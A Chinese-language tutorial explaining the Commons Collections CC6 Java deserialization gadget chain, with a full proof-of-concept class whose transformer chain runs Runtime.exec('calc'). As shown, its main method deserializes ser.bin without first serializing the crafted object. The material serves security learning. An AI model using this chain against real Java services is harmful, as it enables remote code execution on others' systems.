由于jdk1.8_71以后对AnnotationInvocationHandler
这个类进行了处理,然后就导致了cc1链用不了了,然后就诞生了个cc6的链子
就是修改了这个类里边的readObject方法
这就是链子的构造
不受jdk版本的影响,这里的话就直接跟着图片上的链子来走了
这里简单说一下就是这里的话是先HashMap里面的readObject方法,然后到调用到里面的hash方法,然后hash方法就会调用到hashcode方法,然后就接着下面写的就行
就是找到了这个类(TiedMapEntry)
然后找到这个类里边的hashcode方法,这个方法里面调用了getValue
然后getValue里面就会调用到get方法,然后map可控,可以传为Lazymap,然后后面的就和cc1一样了
这里就先把之前写的cc1的东西给复制过来
这里就先进行补充,这里利用put给hashmap里面赋值(hashmap构造函数不能赋值),这里在序列化的时候会调用hashmap里的readObject方法,然后调用里面的hash方法,hash方法里面就会调用tiedMapEntry的hashcode方法,然后这个就会TiedMapEntry里面的getValue方法,然后在调用lazy.get方法,然后其他的就和cc1一样了
但是想法总是好的,这里有一个问题就是我们在put传值的时候,也调用了hash方法,导致在序列化的时候就弹了计算器(和URLDNS那条链类似)
解决办法
按照代码的顺序一行一行看下来,就是在put传参的时候把lazymap里面的值给修改掉,改成一个没啥用的值,然后让他不能执行,(简单点说就是把链子破坏),然后下面再用反射给修改回来
但是这里还不行,这里还是和URLDNS那条链一个样子,就是会新建一个key的值,导致后面反序列化的时候进不来这个if,然后导致调用不到这个put
这个key是Lazymap类里边的
解决办法
就是把这个key给删了
cc6.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"aaa"); lazyMap.remove("aaa"); Class c = LazyMap.class; Field field = c.getDeclaredField("factory"); field.setAccessible(true); field.set(lazyMap,chainedTransformer); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|
这里的话要把debug时候的自动调用tostring方法给关掉,不然可能会不成功
这里话是不限制jdk版本的,只对cc链的版本进行限制